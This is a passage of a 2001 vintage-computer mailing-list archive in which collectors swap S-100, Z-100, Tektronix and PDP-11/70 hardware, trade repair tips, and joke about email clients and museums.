To: Sent: Monday, June 04, 2001 4:00 PM Subject: Re: you vs. museums There was an article about the new director of the Smithsonian in the New York times about a month ago. You gathered from the description that his priorities were, in order: Increase corporate $$ donations, increase museumgoer attendance, decrease costs, and forget research. This tended to make the Dir. rather unpopular with the standing members of the museum staff. P.S. His income: $450K John A. ----- Original Message ----- ... messing things up! From ard at p850ug1.demon.co.uk Mon Jun 4 19:11:25 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:13 2005 Subject: Tantalum Popcorn - What to do (Was S-100 Bus Voltages) In-Reply-To: <3.0.5.32.20010604170605.007d6cb0@yellow.ucdavis.edu> from "Edwin P. Groot" at Jun 4, 1 05:06:05 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 394 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010605/f04c12c3/attachment.ksh From ajp166 at bellatlantic.net Mon Jun 4 19:28:25 2001 From: ajp166 at bellatlantic.net (ajp166) Date: Sun Feb 27 19:04:13 2005 Subject: on subject line Message-ID: <007f01c0ed57$a5269240$12779a8d@ajp166> While I have no gripe with Amigas they are foreign to my expereince and collection. Being far from my expecience would make them a non-solution. Allison -----Original Message----- From: Patrick Ford To: classiccmp@classiccmp.org Date: Monday, June 04, 2001 1:31 AM Subject: Re: on subject line >Gidday ajp166 > >On 04-Jun-01, you wrote: > >>> And what're all you ClassicCmpers doing reading e-mail on Windows PCs >> and >>> Macs anyhow? How embarassing. :-) >>> >>> -brian. > > >> Simple, other than PCs the only netable machines I have are, Vaxen, >> PDP-11s. Of those the PDP-11s really dont have a OS that supports IP networking >> and the vaxen are all serial consoles (no graphics). Doable on vaxen but not >> practical. > >> I might do it on a CP/M crate but then I need a PC to run PPOE to serial >> gateway. >> Its a matter of expediency and general need for modern compatability even >> if I hate PCs in general. > >You need an Amiga as a one stop solution. It's definitely classic, but >fully capable to 21st century standards. And the OS normally >impresses mini and mainframe freaks with it's economy, elegance and power. > >Regards >-- > *Patrick Ford Auckland, New Zealand* > */#icq#/ 51642681* >The Japanese call us lazy, but at least we cook our fish! > Support *Open Directory Project* NO banners, NO junk--just information. >*ODP *is built by volunteers and owned by the community . >-------> http://dmoz.org <-----------Check it out > > > > > > From allain at panix.com Mon Jun 4 19:29:23 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:04:13 2005 Subject: you vs. museums References: Message-ID: <005901c0ed56$92552d80$21fe54a6@ibm23xhr06> It was in Unicode utf-7. I think when I use reply-to I get different char encoding, possibly variable, than if using ``New''. Amazingly, even though the header is bound to the message, MS will deny showing me, now, the message in the intended format, there seems to be no way to turn off an viewer encoding override, yeah, there is an 'auto select' setting present in the menus, but it doesn't. So I have to go through the menus to find the matching view. I'd been trying to stay out of the encoding thread because I knew I was living in a glass house. Another gripe: There is no way to view message source before sending it, even in the Drafts folder. To MS: Brilliant, Guys! John A. (lets see what the header source is this time) ----- Original Message ----- From: r. 'bear' stricklin To: Sent: Monday, June 04, 2001 5:21 PM Subject: Re: you vs. museums On Mon, 4 Jun 2001, John Allain wrote: > Increase corporate +ACQAJA- donations, ^^^^^^^^ Okay, what the heck does this mean? I keep seeing it used. ok r. Apologies! -JEA From Demon02554 at aol.com Mon Jun 4 19:34:23 2001 From: Demon02554 at aol.com (Demon02554@aol.com) Date: Sun Feb 27 19:04:13 2005 Subject: you vs. museums Message-ID: >> just a short note here saying how much I appreciate >> Microsoft... i hope i'm detecting a slight tone of sarcasm...(or more preferably a really heavy one) From mbg at world.std.com Mon Jun 4 19:36:30 2001 From: mbg at world.std.com (Megan) Date: Sun Feb 27 19:04:13 2005 Subject: New finds - swap & question Message-ID: <200106050036.UAA15173@world.std.com> Thanks very much... and I recently had my birthday as well... :-) my parents have told me that I'm officially middle-aged... Megan From mbg at world.std.com Mon Jun 4 19:39:31 2001 From: mbg at world.std.com (Megan) Date: Sun Feb 27 19:04:13 2005 Subject: New finds - swap & question Message-ID: <200106050039.UAA17084@world.std.com> Sorry for that mail to the list... I hadn't read it closely and though it was private... Megan Gentry Former RT-11 Developer +--------------------------------+-------------------------------------+ | Megan Gentry, EMT/B, PP-ASEL | Internet (work): gentry!zk3.dec.com | | Unix Support Engineering Group | (home): mbg!world.std.com | | Compaq Computer Corporation | addresses need '@' in place of '!' | | 110 Spitbrook Rd. ZK03-2/T43 | URL: http://world.std.com/~mbg/ | | Nashua, NH 03062 | "pdp-11 programmer - some assembler | | (603) 884 1055 | required." - mbg KB1FCA | +--------------------------------+-------------------------------------+ From cisin at xenosoft.com Mon Jun 4 19:44:13 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:13 2005 Subject: Tantalum Popcorn - What to do (Was In-Reply-To: <3.0.5.32.20010604170605.007d6cb0@yellow.ucdavis.edu> Message-ID: On Mon, 4 Jun 2001, Edwin P. Groot wrote: > Luckily I had no flames or holey boards! After checking my terminal To get flames here, you need to post about discarding old equipment, or advocate using e-bay, or advocate a Microsoft product newer than the green-eyed mouse. -- Grumpy Ol' Fred cisin@xenosoft.com From cisin at xenosoft.com Mon Jun 4 19:45:34 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:13 2005 Subject: New finds - swap & question In-Reply-To: <200106050039.UAA17084@world.std.com> Message-ID: On Mon, 4 Jun 2001, Megan wrote: > Sorry for that mail to the list... I hadn't read it closely and > though it was private... Well, congratulations and Happy Birthday, ANYWAY! From jhellige at earthlink.net Mon Jun 4 19:51:25 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:13 2005 Subject: 3.5" MFM hard disk In-Reply-To: <001301c0ed36$7c2fd3e0$9cc762d8@idcomm.com> References: <001301c0ed36$7c2fd3e0$9cc762d8@idcomm.com> Message-ID: >Saaay ... speaking of Z100 ... I'm just on my way to a place that has a couple >of Z100 "data separator" boards with a small aluminum brace attached. Is that >something that would be of interest? > >Dick I'd be interested in one as a spare if you wouldn't mind picking one up. I'd certainly be willing to pay you for the cost and such. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From jhellige at earthlink.net Mon Jun 4 19:53:38 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:13 2005 Subject: 3.5" MFM hard disk In-Reply-To: <3.0.5.32.20010604165639.007d2100@yellow.ucdavis.edu> References: <3.0.5.32.20010604165639.007d2100@yellow.ucdavis.edu> Message-ID: > I have a couple of Z-100s. What's a data deparator board?? The circuit card that mounts on top of the hard disk, used in conjunction with the S-100 bus hard disk controller. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From INFOANM at aol.com Mon Jun 4 19:55:30 2001 From: INFOANM at aol.com (INFOANM@aol.com) Date: Sun Feb 27 19:04:13 2005 Subject: Wanted: Newer DEC serial terminals with PC-style keyboard Message-ID: <64.ed80d55.284d8802@aol.com> Ive got VT420s for sale - some brand new. How many do you need? how much are you looking to pay? I also have disks, servers, printers etc... infoanm@aol.com 201-738-1703 USA -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20010604/6bc6ae82/attachment.html From optimus at canit.se Mon Jun 4 19:09:01 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:04:13 2005 Subject: on subject line In-Reply-To: Message-ID: <425.556T50T693855optimus@canit.se> Patrick Ford skrev: >You need an Amiga as a one stop solution. It's definitely classic, but >fully capable to 21st century standards. And the OS normally >impresses mini and mainframe freaks with it's economy, elegance and power. It will be another year before my Amiga turns "classic". Perhaps will I then finally upgrade the processor. Ten years is a reasonable tour of duty, isn't it? =) -- En ligne avec Thor 2.6a. From optimus at canit.se Mon Jun 4 19:59:26 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:04:13 2005 Subject: RM Nimbus PC1 In-Reply-To: Message-ID: <1069.556T1300T1194609optimus@canit.se> Adrian Graham skrev: >Hi folks, >I remember a discussion on here a few months ago about Intel 80186 machines >and one of the better ones was the RM (Research Machines) Nimbus PC1, which >was also known for having a PicoNet port as well as a largely unknown >'network' port. I came across 2 of these today in a junk shop that haven't >got the 'network' port but they *have* got everything else. I think we established that the network port was Omninet, or Corvus. >Anyone interested in them? One has a keyboard but the other doesn't. Looking >at it though I suspect a bog-standard IBM-compatible keyboard will do the >trick - I can try it if anyone shows interest. There's pix of a PC1 on the >museum site below, just follow the links to the Research Machines page. I'd like to see those pictures, but I'm only met by a nosy inquiry about my resolution, for whatever reason, and none of the links work. -- En ligne avec Thor 2.6a. Haben Sie schon mal einen Wegweiser gesehen, der selbst den Weg geht, den er weist? --- Ludwig XV (K?nig von Frankreich, 1710-1774) From lance at costanzo.net Mon Jun 4 20:06:18 2001 From: lance at costanzo.net (Lance Costanzo) Date: Sun Feb 27 19:04:13 2005 Subject: Garage Cleaning Message-ID: <3.0.32.20010604180618.020b480c@costanzo.net> Rather that do what I should have been doing this afternoon, I went into the garage and tried to find some things to get rid of. First pass: about 50 pounds of manuals, (mostly HP-150), and 50 pounds of not interesting PC parts. Only offered to this mailing list. I want beer money for them. Details, photos, etc: http://www.kzin.com/trader Lance. From jhellige at earthlink.net Mon Jun 4 20:15:36 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:13 2005 Subject: Versafloppy S-100 board In-Reply-To: References: <001301c0ed36$7c2fd3e0$9cc762d8@idcomm.com> Message-ID: Today I aquired a SD Sales Versafloppy S-100 bus floppy controller. It's currently jumpered to use Shugart SA-800 drives and includes the full manual with schematics (dated 2/28/78), CP/M I/O driver source (dated 3/17/78) and a printout of the CBIOS I/O dirvers version 1.31 for UCSD Pascal (dated 3/21/80). I'd like to eventually put this to use with my SOL-20. Any suggestions on how best to proceed? Thanks Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From ajp166 at bellatlantic.net Mon Jun 4 20:25:39 2001 From: ajp166 at bellatlantic.net (ajp166) Date: Sun Feb 27 19:04:13 2005 Subject: Altair 8800 front panel lamps Message-ID: <00ac01c0ed60$0daf4ed0$12779a8d@ajp166> From: John Allain >> ...OE users, ditch OE... > >I certainly wouldn't reccomend 'O' over 'OE'. It was slower >and creepier, ie more complex and Even Less Open than >OE as if that was possible. PS pick Format>Plain Text > or Tools>Options>Send>Plain Text depending > on where you are. AAaack Pbffftttttffff! I'm not thrilled either. I could use Netscrap Communicator but it tends to crash. Not a good thing. Allison From rigdonj at intellistar.net Mon Jun 4 20:52:28 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:04:13 2005 Subject: Any Tektronix 4051, 5042, 4054, or 4662s or IBM 5100s out th ere? In-Reply-To: Message-ID: <5.1.0.14.1.20010604214806.00aa3ec0@mailhost.intellistar.net> Hi Mike, I have a LOADED 4051 and a IBM 5100. I have ALL the toys for the 4051 including the Altair-like front panel that was used for maintenance. I also both of the optional 8" floppy drives. The 4662 is a plotter isn't it? I think that's the model number of the one that I have. What the heck is a 4025?? I might be interested it. My wife makes frequent trips to KC. In fact, she's out there now. Joe At 09:49 AM 6/4/01 -0500, you wrote: >I recovered a Tektronix 4025 that still had a 3M style cartridge tape in the >drive. Its a storage tube model, green screen and it works. The only >problem is that the external case is missing. The keyboard and monitor >bezel are there just the rest of the case is gone. I've had it in storage >and I'd like to transfer it to someone who can appreciate it and maybe >repair it. >I'm in Kansas City > >Mike McFadden >mmcfadden@cmh.edu From Innfogra at aol.com Mon Jun 4 21:11:19 2001 From: Innfogra at aol.com (Innfogra@aol.com) Date: Sun Feb 27 19:04:13 2005 Subject: Any Tektronix 4051, 5042, 4054, or 4662s or IBM 5100s out th ere? Message-ID: In a message dated 6/4/01 6:57:27 PM Pacific Daylight Time, rigdonj@intellistar.net writes: > What the heck is a 4025?? I might be interested it. My wife makes > frequent trips to KC. In fact, she's out there now. > > Joe > > At 09:49 AM 6/4/01 -0500, you wrote: > >I recovered a Tektronix 4025 that still had a 3M style cartridge tape in > the > >drive. Its a storage tube model, green screen and it works. The only > >problem is that the external case is missing. The keyboard and monitor > >bezel are there just the rest of the case is gone. I've had it in storage > The 4025 is a dumb terminal that Tektronix made with a separate keyboard. It did not have a tape drive IIRC, nor a storage tube. >From the description I thought it was a 4052 with the 2 & 5 transposed. I do that sometimes. As Joe and everyone who collects old Tek knows is that the cases are heavy high grade aluminum which are easy to clean and sell. Many of these computers are guts only by the time anyone gets to them. I sent one in similar condition to Joe a couple of years ago. Paxton Astoria, OR -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20010604/8c5bb6ab/attachment.html From broth at heathers.stdio.com Mon Jun 4 20:33:21 2001 From: broth at heathers.stdio.com (Brian Roth) Date: Sun Feb 27 19:04:13 2005 Subject: No subject Message-ID: <01060421342401.00795@fatty> For all that may be interested I started a DEC "BCxx" cable guide on my website. Its is an ongoing project that I hope to complete in a couple of weeks. Let me know what errors anyone may happen to find. I will scan all the data sheets that I currently have and add them to the index. I tried to balance download time over a 56k dialup with the scanning resolution/compression to something I hope is acceptable. www.webwirz.com Thanks, Brian. -- Brian Roth - System Administrator www.webwirz.com - Old Computer Repository Preoccupation is my main occupation..... From edick at idcomm.com Mon Jun 4 21:41:01 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:13 2005 Subject: Versafloppy S-100 board References: <001301c0ed36$7c2fd3e0$9cc762d8@idcomm.com> Message-ID: <003801c0ed68$f5d60700$9cc762d8@idcomm.com> You may find that the Versafloppy has an eprom with Z80 code which your 8080 won't like. If you have a Z80A board and 64K of RAM available you need only figure out what the console for which the code in the EPROM was written would be. I've got several SD boards, but no FDC, and I really don't know whether these boards work or not, but I do believe that one popular configuration was with the SD Sales VDB8024 board, to which one attaches a parallel keyboard. If your doc's suggest that's what the EPROM supports, perhaps I can help by lending you that board. I may even have a keyboard that is set up for the VDB8024. Dick ----- Original Message ----- From: "Jeff Hellige" To: Sent: Monday, June 04, 2001 7:15 PM Subject: Versafloppy S-100 board > Today I aquired a SD Sales Versafloppy S-100 bus floppy > controller. It's currently jumpered to use Shugart SA-800 drives and > includes the full manual with schematics (dated 2/28/78), CP/M I/O > driver source (dated 3/17/78) and a printout of the CBIOS I/O dirvers > version 1.31 for UCSD Pascal (dated 3/21/80). I'd like to eventually > put this to use with my SOL-20. Any suggestions on how best to > proceed? > > Thanks > Jeff > -- > Collector of Classic Microcomputers and Video Game Systems: > Home of the TRS-80 Model 2000 FAQ File > http://www.geocities.com/siliconvalley/lakes/6757 > > From edick at idcomm.com Mon Jun 4 21:46:24 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:13 2005 Subject: 3.5" MFM hard disk References: <001301c0ed36$7c2fd3e0$9cc762d8@idcomm.com> Message-ID: <004501c0ed69$b60b0b60$9cc762d8@idcomm.com> I kind-of figured that, and snagged the two of them. They've got enough logic on them, socketed at that, to warrant the $4 each I paid for the two of them. If you want one or both, we can make arrangements off-list, otherwise I can do all right parting them out. Dick ----- Original Message ----- From: "Jeff Hellige" To: Sent: Monday, June 04, 2001 6:51 PM Subject: Re: 3.5" MFM hard disk > >Saaay ... speaking of Z100 ... I'm just on my way to a place that has a couple > >of Z100 "data separator" boards with a small aluminum brace attached. Is that > >something that would be of interest? > > > >Dick > > I'd be interested in one as a spare if you wouldn't mind > picking one up. I'd certainly be willing to pay you for the cost and > such. > > Jeff > -- > Collector of Classic Microcomputers and Video Game Systems: > Home of the TRS-80 Model 2000 FAQ File > http://www.geocities.com/siliconvalley/lakes/6757 > > From edick at idcomm.com Mon Jun 4 21:48:24 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:13 2005 Subject: Tantalum Popcorn - What to do (Was References: Message-ID: <004f01c0ed69$fd69eb20$9cc762d8@idcomm.com> Not so! All you have to do is power up a board on which there are a few shorted but small tantalum cap's. That involves no tossing of old gear, auctioning on eBay, or advocacy of Microsoft. Dick ----- Original Message ----- From: "Fred Cisin (XenoSoft)" To: Sent: Monday, June 04, 2001 6:44 PM Subject: Re: Tantalum Popcorn - What to do (Was > On Mon, 4 Jun 2001, Edwin P. Groot wrote: > > Luckily I had no flames or holey boards! After checking my terminal > > To get flames here, you need to post about discarding old equipment, or > advocate using e-bay, or advocate a Microsoft product newer than the > green-eyed mouse. > > -- > Grumpy Ol' Fred cisin@xenosoft.com > > From allain at panix.com Mon Jun 4 22:19:47 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:04:13 2005 Subject: Wanted: Newer DEC serial terminals with PC-style keyboard References: <64.ed80d55.284d8802@aol.com> Message-ID: <001e01c0ed6e$60250c00$8a0101ac@ibm23xhr06> > I also have disks, servers, printers etc... > infoanm@aol.com 201-738-1703 I see a 201 area code, that's nearby. I don't need terminals, but do disks. The things that you hint at, could you say more? John A. From padf at ihug.co.nz Mon Jun 4 20:53:01 2001 From: padf at ihug.co.nz (Patrick Ford) Date: Sun Feb 27 19:04:13 2005 Subject: on subject line In-Reply-To: <007f01c0ed57$a5269240$12779a8d@ajp166> Message-ID: Gidday ajp166 On 05-Jun-01, you wrote: > While I have no gripe with Amigas they are foreign to my expereince > and collection. Being far from my expecience would make them > a non-solution. Does experience have to be a static thing? Regards -- *Patrick Ford Auckland, New Zealand* */#icq#/ 51642681* A day without sunshine is like night. Support *Open Directory Project* NO banners, NO junk--just information. *ODP *is built by volunteers and owned by the community . -------> http://dmoz.org <-----------Check it out From padf at ihug.co.nz Mon Jun 4 20:55:27 2001 From: padf at ihug.co.nz (Patrick Ford) Date: Sun Feb 27 19:04:13 2005 Subject: New finds - swap & question In-Reply-To: <200106050036.UAA15173@world.std.com> Message-ID: Gidday Megan On 05-Jun-01, you wrote: > Thanks very much... and I recently had my birthday as well... :-) Happy birthday to yo-o-o-u > my parents have told me that I'm officially middle-aged... Ignore that--it's only valid in their perspective of the universe. Regards -- *Patrick Ford Auckland, New Zealand* */#icq#/ 51642681* CHOCOLATE: The other major food group. Support *Open Directory Project* NO banners, NO junk--just information. *ODP *is built by volunteers and owned by the community . -------> http://dmoz.org <-----------Check it out From allain at panix.com Mon Jun 4 22:26:21 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:04:13 2005 Subject: References: <01060421342401.00795@fatty> Message-ID: <005001c0ed6f$4af1fea0$8a0101ac@ibm23xhr06> Awrite Brian, whats a wirz? From vance at ikickass.org Mon Jun 4 23:06:21 2001 From: vance at ikickass.org (Vance Dereksen) Date: Sun Feb 27 19:04:13 2005 Subject: on subject line In-Reply-To: Message-ID: No, but if one takes a snapshot of one's experience to date, one can come up with something static in nature. Peace... Sridhar On Tue, 5 Jun 2001, Patrick Ford wrote: > Gidday ajp166 > > On 05-Jun-01, you wrote: > > > While I have no gripe with Amigas they are foreign to my expereince > > and collection. Being far from my expecience would make them > > a non-solution. > > Does experience have to be a static thing? > > Regards > -- > *Patrick Ford Auckland, New Zealand* > */#icq#/ 51642681* > A day without sunshine is like night. > Support *Open Directory Project* NO banners, NO junk--just information. > *ODP *is built by volunteers and owned by the community . > -------> http://dmoz.org <-----------Check it out > > > > > > From edick at idcomm.com Mon Jun 4 23:29:20 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:13 2005 Subject: roll-yer-own i8080 References: Message-ID: <000501c0ed78$17725080$9cc762d8@idcomm.com> I snagged the following note from comp.arch.fpga for those who're interested. Dick ************************************ Hi, I would like to announce My80 processor core which is written with SFL. It can fit into an ALTERA EPF10K30 or an ALTERA EPF6016 CPLD. (Sorry We don't have any XLNX tools) We got CP/M boot with success, and also got Mbasic run fine on it. See more in http://shimizu-lab.et.u-tokai.ac.jp/pgm/my80/index.html Regards, Naohiko Shimizu Dept. Communication Engr./Univ. TOKAI 1117 Kitakaname Hiratsuka 259-12 Japan TEL.+81-463-58-1211(ext. 4084) FAX.+81-463-58-8320 http://shimizu-lab.et.u-tokai.ac.jp/ ************************************ From jhellige at earthlink.net Tue Jun 5 04:38:16 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:13 2005 Subject: Versafloppy S-100 board In-Reply-To: <003801c0ed68$f5d60700$9cc762d8@idcomm.com> References: <001301c0ed36$7c2fd3e0$9cc762d8@idcomm.com> <003801c0ed68$f5d60700$9cc762d8@idcomm.com> Message-ID: >You may find that the Versafloppy has an eprom with Z80 code which your 8080 >won't like. If you have a Z80A board and 64K of RAM available you need only >figure out what the console for which the code in the EPROM was written would >be. I've got several SD boards, but no FDC, and I really don't know whether >these boards work or not, but I do believe that one popular configuration was >with the SD Sales VDB8024 board, to which one attaches a parallel >keyboard. If >your doc's suggest that's what the EPROM supports, perhaps I can >help by lending >you that board. I may even have a keyboard that is set up for the VDB8024. Actually, the board looks rather flexible, which I guess accounts for it's name. It's jumper selectable for two different port address ranges (63H - 67H or E3H to E7H), CPU selection (Z-80, 8080, or 8085), 5 different interrupt handling modes and 7 different drive selection modes, including for use with CDC9404 and 9406 drives with a special cable, as well as support for both 8" and 5-1/4" drives. I do have another S-100 system based on a Z80 but it's built around a North Star floppy system and I'd just as soon leave that one as-is. It has a homebrew ROM monitor. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From broth at heathers.stdio.com Tue Jun 5 04:38:34 2001 From: broth at heathers.stdio.com (Brian Roth) Date: Sun Feb 27 19:04:13 2005 Subject: wirz In-Reply-To: <005001c0ed6f$4af1fea0$8a0101ac@ibm23xhr06> References: <01060421342401.00795@fatty> <005001c0ed6f$4af1fea0$8a0101ac@ibm23xhr06> Message-ID: <01060505404102.00795@fatty> wires > wirz just a dumb play on letters. On Mon, 04 Jun 2001, you wrote: > Awrite Brian, whats a wirz? -- Brian Roth - System Administrator www.webwirz.com - Old Computer Repository Preoccupation is my main occupation..... From Hans.Franke at mch20.sbs.de Tue Jun 5 08:47:39 2001 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 19:04:13 2005 Subject: Any Tektronix 4115B and their ilk In-Reply-To: <6c.b15b41e.2849c619@aol.com> Message-ID: <3B1CFF1B.8646.FBFF0C@localhost> > Tek > 4115B systems for sale cheap ... what's the difference between them and > are they worth "cluttering up" my storage area with. He indicated they > were large & heavy!! Nice and truly remarkable parts. Just way too heavy. > The Tek 4115Bs were an early engineering workstation based > on the intel 8086 processor. The 412X series were based on > the 80286 processor otherwise they were basically the same > chassis. Up to 8 planes of color graphics with it's own > memory. Wasn't there some 80286 'Add-On' Boards ? Marketed as extension for wire frame display ? Gruss H. -- VCF Europa 3.0 am 27./28. April 2002 in Muenchen http://www.vcfe.org/ From edick at idcomm.com Tue Jun 5 09:26:52 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:13 2005 Subject: Versafloppy S-100 board References: <001301c0ed36$7c2fd3e0$9cc762d8@idcomm.com> <003801c0ed68$f5d60700$9cc762d8@idcomm.com> Message-ID: <001d01c0edcb$90f9ae00$9cc762d8@idcomm.com> The SD Sales boards were wildly popular back in the early '80's, probably due at least in part, to the fact they'd run with almost any other boards, with just a minor amount of tweaking of the code. What do you know about their firmware? Have you any doc/listing materials? I have the SBC 200 CPU and that video board, as well as a keyboard that might have gone with the thing. All these were given to me by a colleague who had been given it by another colleague who had since moved on to another employer, back in the '87-'88 time frame. Had the original owner, who was a fellow with whom I'd occasionally gone fishing, etc, I'd have asked him some questions that I'd like to have answered now. In any event, if you'd like to use that SBC 200, which I've never used for anything, and the VDB 8024, I can send 'em to you, though I have never verified that they work. I could even send a powered motherboafd, if you like, but you know what those weigh. regards, Dick ----- Original Message ----- From: "Jeff Hellige" To: Sent: Tuesday, June 05, 2001 3:38 AM Subject: Re: Versafloppy S-100 board > >You may find that the Versafloppy has an eprom with Z80 code which your 8080 > >won't like. If you have a Z80A board and 64K of RAM available you need only > >figure out what the console for which the code in the EPROM was written would > >be. I've got several SD boards, but no FDC, and I really don't know whether > >these boards work or not, but I do believe that one popular configuration was > >with the SD Sales VDB8024 board, to which one attaches a parallel > >keyboard. If > >your doc's suggest that's what the EPROM supports, perhaps I can > >help by lending > >you that board. I may even have a keyboard that is set up for the VDB8024. > > Actually, the board looks rather flexible, which I guess > accounts for it's name. It's jumper selectable for two different > port address ranges (63H - 67H or E3H to E7H), CPU selection (Z-80, > 8080, or 8085), 5 different interrupt handling modes and 7 different > drive selection modes, including for use with CDC9404 and 9406 drives > with a special cable, as well as support for both 8" and 5-1/4" > drives. I do have another S-100 system based on a Z80 but it's built > around a North Star floppy system and I'd just as soon leave that one > as-is. It has a homebrew ROM monitor. > > Jeff > -- > Collector of Classic Microcomputers and Video Game Systems: > Home of the TRS-80 Model 2000 FAQ File > http://www.geocities.com/siliconvalley/lakes/6757 > > From anheier at owt.com Tue Jun 5 09:33:21 2001 From: anheier at owt.com (Beth Anheier) Date: Sun Feb 27 19:04:13 2005 Subject: More PDP11/70 boards for trade Message-ID: Hi, I have some more pdp11/70 boards up for trade. All the boards have the mounting hardware. I have no means to test their operation, so can?t guarantee their functionality. Some of the capacitors etc are damaged by poor handling, but look repairable. Shipping is on your nickel unless trading components have similar shipping fees. Please email me directly, not on newlist. Thanks Norm anheier@owt.com MODULE OPTION BUS DESCRIPTION 3 each - M8728 MK11 U 64-Kword 39-bit MOS memory array (11/70, 11/750) 2 each - M8144 KB11-C U 11/70 cache data memory M8126 FP11-C U 11/70 fraction processor, high order M8128 FP11-C U 11/70 floating point ROM control M8132 KB11-C U 11/70 instruction register decode & condition codes M8134 KB11-C U 11/70 processor data & UNIBUS registers module M8130 KB11-C U 11/70 data paths module M8149 MJ11 U 11/70 memory transceiver card M7984 MS11-KE * 16-Kword 39-bit MOS RAM array M8139 KB11-C U 11/70 timing generator module (different board form factor) G066 ?? M6728 ?? I also have a box of DEC ribbon cables. Most have DEC part numbers. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20010605/baaaf28c/attachment.html From epgroot at ucdavis.edu Tue Jun 5 10:38:02 2001 From: epgroot at ucdavis.edu (Edwin P. Groot) Date: Sun Feb 27 19:04:13 2005 Subject: 3.5" MFM hard disk In-Reply-To: References: <3.0.5.32.20010604165639.007d2100@yellow.ucdavis.edu> <3.0.5.32.20010604165639.007d2100@yellow.ucdavis.edu> Message-ID: <3.0.5.32.20010605083802.007cb480@yellow.ucdavis.edu> I'm not interested in the data separator board. I don't have any HD controllers for my Z-100. Edwin At 08:53 PM 6/4/2001 -0400, you wrote: >> I have a couple of Z-100s. What's a data deparator board?? > > The circuit card that mounts on top of the hard disk, used in >conjunction with the S-100 bus hard disk controller. > > Jeff From jss at ou.edu Tue Jun 5 10:49:42 2001 From: jss at ou.edu (Jeffrey S. Sharp) Date: Sun Feb 27 19:04:13 2005 Subject: More PDP11/70 boards for trade In-Reply-To: References: Message-ID: <991756182.3b1cff96cca5a@email.ou.edu> Hi Norm. I've got the 11/23 parts you sent me. They will work wonderfully for spare parts for my /23. Quoting Beth Anheier : > I have some more pdp11/70 boards up for trade. Again, I'd be interested in these. I don't have a /70 yet, but I will have one someday and will need spare parts for it. What kind of things are you looking for in return? -- Jeffrey S. Sharp jss@ou.edu From marvin at rain.org Tue Jun 5 12:48:01 2001 From: marvin at rain.org (Marvin) Date: Sun Feb 27 19:04:13 2005 Subject: Another Auction Site References: <991756182.3b1cff96cca5a@email.ou.edu> Message-ID: <3B1D1B51.1D6980EB@rain.org> A new site has just opened up, http://www.sellyouritem.com. I've been thinking for a while that it would be a good idea to have an auction site for listmembers. This site currently has little traffic, and would make a GREAT semi-private :) site for listmembers to sell their stuff to mostly other listmembers. One of our members is currently listing some stuff on the computer:classic area at http://www.sellyouritem.com/ListAuctions.html?CategoryID=1497. From Hans.Franke at mch20.sbs.de Tue Jun 5 13:10:12 2001 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 19:04:13 2005 Subject: SB-180? In-Reply-To: <004001c0ed4d$1f2a1450$12779a8d@ajp166> Message-ID: <3B1D3CA4.8829.1EC5E82@localhost> > Well add that to you 404 list.. > > It was a live one not too long ago. TCJ apparently evaporated. > > Allison > >At 04:40 PM 6/3/2001 -0400, you wrote: > >>I have one with the SCSI/com card. > > That Web site doesn't exist - HTTPd gives me 404 error. Has the > > site moved? > >>There is also Uzi unix for the SB180, on the www.psyber.com/~tcj > > ^^^^^^^^^^^^^^^^^^^ > >>site. Some descriptions may be found at http://www.cpmclub.de/zeitung/seite5.htm An online version of a reprint of some English text about UZI180. (The Club is still very active, although they only manage to prepare one or two magazine issues per year) A short search did also turn up an UZI port to MSX (!) http://www.momentus.com.br/users/ccardoso/uzix.html And a Port for the 280 located at a German Univ. ftp://ftp.unix-ag.uni-siegen.de/pub/os/uzi280/index.html Both seam to be a bit orphaned. All other Links just point to http://www.psyber.com/~tcj/uzi180.html And finaly, after employing Archie (this stuff still works fine) ftp://wuarchive.wustl.edu/systems/cpm/uzi turns up ... still no mor info I can trace, but isn't source the highest class of documentation one needs ? Gruss H. BTW: Thomas Scherrer has a nice page with resources for Z(= OSes and similarities. -- VCF Europa 3.0 am 27./28. April 2002 in Muenchen http://www.vcfe.org/ From edick at idcomm.com Tue Jun 5 14:44:38 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:13 2005 Subject: 3.5" MFM hard disk References: 